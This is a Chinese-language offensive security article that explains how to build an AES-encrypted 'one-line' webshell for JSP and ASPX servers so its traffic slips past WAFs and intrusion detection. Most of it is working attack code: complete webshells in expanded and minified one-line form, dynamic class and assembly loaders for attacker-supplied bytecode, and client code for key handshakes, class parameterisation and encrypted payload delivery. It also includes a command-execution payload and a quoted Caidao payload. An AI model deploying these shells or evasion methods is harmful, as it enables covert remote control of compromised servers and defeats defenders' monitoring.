一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下:
- caidao=Response.Write("->|");
- var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。
当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……
如何绕过WAF
其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:
如下为执行流程图:
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:
1. 服务器端动态解析二进制class文件:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:
- package net.rebeyond;
- import sun.misc.BASE64Decoder;
-
- public class Demo {
- public static class Myloader extends ClassLoader //继承ClassLoader
- {
- public Class get(byte[] b)
- {
- return super.defineClass(b, 0, b.length);
- }
- }
- public static void main(String[] args) throws Exception {
- // TODO Auto-generated method stub
- String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
- BASE64Decoder code=new sun.misc.BASE64Decoder();
- Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
- System.out.println(result.newInstance().toString());
- }
- }
上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:
- package net.rebeyond;
- import java.io.IOException;
-
- public class Payload {
- @Override
- public String toString() {
- // TODO Auto-generated method stub
- try {
- Runtime.getRuntime().exec("calc.exe");
- } catch (IOException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- return "OK";
- }
- }
简单解释一下上述代码:
到此,我们就可以直接动态解析并执行编译好的class字节流了。
2.生成密钥:
首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:
- if (request.getMethod().equalsIgnoreCase("get")) {
- String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
- request.getSession().setAttribute("uid", k);
- out.println(k);
- return;
- }
这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
3.解密数据,执行:
当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:
- Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
- c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
- new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
4.改进一下
前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。
重新翻看了一下Object类的方法列表:
可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。
方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?
JSP有9个内置对象:
1、request对象
request 对象是 javax.servlet.httpServletRequest类型的对象。 该对象代表了客户端的请求信息,主要用于接受通过HTTP协议传送到服务器的数据。(包括头信息、系统信息、请求方式以及请求参数等)。request对象的作用域为一次请求。
2、response对象
response 代表的是对客户端的响应,主要是将JSP容器处理过的对象传回到客户端。response对象也具有作用域,它只在JSP页面内有效。
3、session对象
session 对象是由服务器自动创建的与用户请求相关的对象。服务器为每个用户都生成一个session对象,用于保存该用户的信息,跟踪用户的操作状态。session对象内部使用Map类来保存数据,因此保存数据的格式为 “Key/value”。 session对象的value可以使复杂的对象类型,而不仅仅局限于字符串类型。
4、application对象
application 对象可将信息保存在服务器中,直到服务器关闭,否则application对象中保存的信息会在整个应用中都有效。与session对象相比,application对象生命周期更长,类似于系统的“全局变量”。
5、out 对象
out 对象用于在Web浏览器内输出信息,并且管理应用服务器上的输出缓冲区。在使用 out 对象输出数据时,可以对数据缓冲区进行操作,及时清除缓冲区中的残余数据,为其他的输出让出缓冲空间。待数据输出完毕后,要及时关闭输出流。
6、pageContext 对象
pageContext 对象的作用是取得任何范围的参数,通过它可以获取 JSP页面的out、request、reponse、session、application 等对象。pageContext对象的创建和初始化都是由容器来完成的,在JSP页面中可以直接使用 pageContext对象。
7、config 对象
config 对象的主要作用是取得服务器的配置信息。通过 pageConext对象的 getServletConfig() 方法可以获取一个config对象。当一个Servlet 初始化时,容器把某些信息通过 config对象传递给这个 Servlet。 开发者可以在web.xml 文件中为应用程序环境中的Servlet程序和JSP页面提供初始化参数。
8、page 对象
page 对象代表JSP本身,只有在JSP页面内才是合法的。 page隐含对象本质上包含当前 Servlet接口引用的变量,类似于Java编程中的 this 指针。
9、exception 对象
exception 对象的作用是显示异常信息,只有在包含 isErrorPage=“true” 的页面中才可以被使用,在一般的JSP页面中使用该对象将无法编译JSP文件。excepation对象和Java的所有对象一样,都具有系统提供的继承结构。exception 对象几乎定义了所有异常情况。在Java程序中,可以使用try/catch关键字来处理异常情况; 如果在JSP页面中出现没有捕获到的异常,就会生成 exception 对象,并把 exception 对象传送到在page指令中设定的错误页面中,然后在错误页面中处理相应的 exception 对象。
但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。
解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:
5.完整代码:
- <%@ page
- import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
- <%!
- /*
- 定义ClassLoader的子类Myloader
- */
- public static class Myloader extends ClassLoader {
- public Myloader(ClassLoader c)
- {super(c);}
- public Class get(byte[] b) { //定义get方法用来将指定的byte[]传给父类的defineClass
- return super.defineClass(b, 0, b.length);
- }
- }
- %>
- <%
- if (request.getParameter("pass")!=null) { //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
- String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //随机生成一个16字节的密钥
- request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
- out.print(k); //将密钥发送给客户端
- return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
- }
- /*
- 当请求为非握手请求时,执行下面的分支,准备解密数据并执行
- */
- String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
- Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
- Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
- c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
- Byte[] classData= c.doFinal(encryptedData); //AES解密操作
- Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
- String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
- %>
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
1.远程获取加密密钥:
客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:
- public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
- Map<String, String> result = new HashMap<String, String>();
- StringBuffer sb = new StringBuffer();
- InputStreamReader isr = null;
- BufferedReader br = null;
- URL url = new URL(getUrl);
- URLConnection urlConnection = url.openConnection();
-
- String cookieValue = urlConnection.getHeaderField("Set-Cookie");
- result.put("cookie", cookieValue);
- isr = new InputStreamReader(urlConnection.getInputStream());
- br = new BufferedReader(isr);
- String line;
- while ((line = br.readLine()) != null) {
- sb.append(line);
- }
- br.close();
- result.put("key", sb.toString());
- return result;
- }
2.动态生成class字节数组:
我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:
- public class Cmd {
-
- public static String cmd;
-
- @Override
- public boolean equals(Object obj) {
- // TODO Auto-generated method stub
- PageContext page = (PageContext) obj;
- page.getResponse().setCharacterEncoding("UTF-8");
- Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
- try {
- String result = "";
- if (cmd != null && cmd.length() > 0) {
- Process p;
- if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
- p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
- } else {
- p = Runtime.getRuntime().exec(cmd);
- }
- BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
- String disr = br.readLine();
- while (disr != null) {
- result = result + disr + "\n";
- disr = br.readLine();
- }
- result = new String(result.getBytes(osCharset));
- page.getOut().write(result.trim());
- }
- } catch (Exception e) {
- try {
- page.getOut().write(e.getMessage());
- } catch (IOException e1) {
- // TODO Auto-generated catch block
- e1.printStackTrace();
- }
- }
-
- return true;
- }
3.已编译类的参数化:
上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:
- public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
- {
- byte[] result;
- ClassReader classReader = new ClassReader(clsName);
- final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
-
- classReader.accept(new ClassAdapter(cw) {
-
- @Override
- public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
- // TODO Auto-generated method stub
- if (params.containsKey(filedName))
- {
- String paramValue=params.get(filedName);
- return super.visitField(arg0, filedName, arg2, arg3, paramValue);
- }
-
- return super.visitField(arg0, filedName, arg2, arg3, arg4);
- }},0);
- result=cw.toByteArray();
- return result;
- }
我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。
4.加密payload:
利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:
- public static String getData(String key,String className,Map<String,String> params) throws Exception
- {
- byte[] bincls=Params.getParamedClass(className, params);
- byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
- String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
- return basedEncryBincls;
- }
5.发送payload,接收执行结果并解密:
Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的jsp一句话木马:
然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
现有的可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码,和asp的eval是同样的效果。这个经典版本的一句话原创者是ISTO团队的kj021320。
1. 实现服务器端动态解析二进制DLL文件
在Java中,每个类经过编译之后都单独对应一个class文件,而在.net中则不同,.net中不存在单个类对应的二进制文件,而是引入了一个叫做Assembly(程序集)的概念,已编译的类是以Assembly的形式来承载的,Assembly是供CLR执行的可执行文件。在.NET下,托管的DLL和EXE都称之为Assembly,一个Assembly可以包含多个类。
而Assembly类提供了一个load方法:
- public static System.Reflection.Assembly Load (byte[] rawAssembly);
- Loads the assembly with a common object file format (COFF)-based image containing an emitted assembly. The assembly is loaded into the application domain of the caller.
这个方法接收Assembly文件的字节数组,并返回一个Assembly类型的对象。得到Assembly对象之后,我们继续调用该对象的CreateInstance方法,即可实例化dll文件中的类,CreateInstance方法的原型如下:
public object CreateInstance (string typeName);
因此我们只要先用C#写好自己的Payload,然后编译成dll,然后将dll文件的二进制字节流传入Load函数即可实现动态解析执行我们已经编译好的二进制类文件。
下面我们写个demo来测试一下:
- Payload.cs
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Web;
- using System.Diagnostics;
-
- public class Payload
- {
- public override bool Equals(Object obj)
- {
- Process.Start("calc.exe");
- return true;
- }
- }
这段Payload很简单,就是启动一个计算器。这里我们重写了父类的Equals方法(至于为什么重写Equals方法,请参考上一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》)。
把这个类编译成dll文件,并将该文件做一下Base64编码,然后编写如下Demo:
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.IO;
- using System.Reflection;
- using System.Security.Cryptography;
-
- namespace ConsoleApplication1
- {
- class Program
- {
- public static void Main()
- {
- string Payload="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";
- Assembly myAssebly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
- Object myPaylaod = myAssebly.CreateInstance("Payload");
- myPaylaod.Equals("");
- }
- }
- }
简单解释一下代码:
OK,下面我们执行看下效果:
2. 生成密钥
和Java版本类似,首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:
- if (Request["pass"]!=null)
- {
- Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;
- }
这样,密钥在服务端生成并绑定至当前会话,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
3. 解密数据,执行
当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:
- byte[] key = Encoding.Default.GetBytes(Session[0] + "");
- byte[] content = Request.BinaryRead(Request.ContentLength);
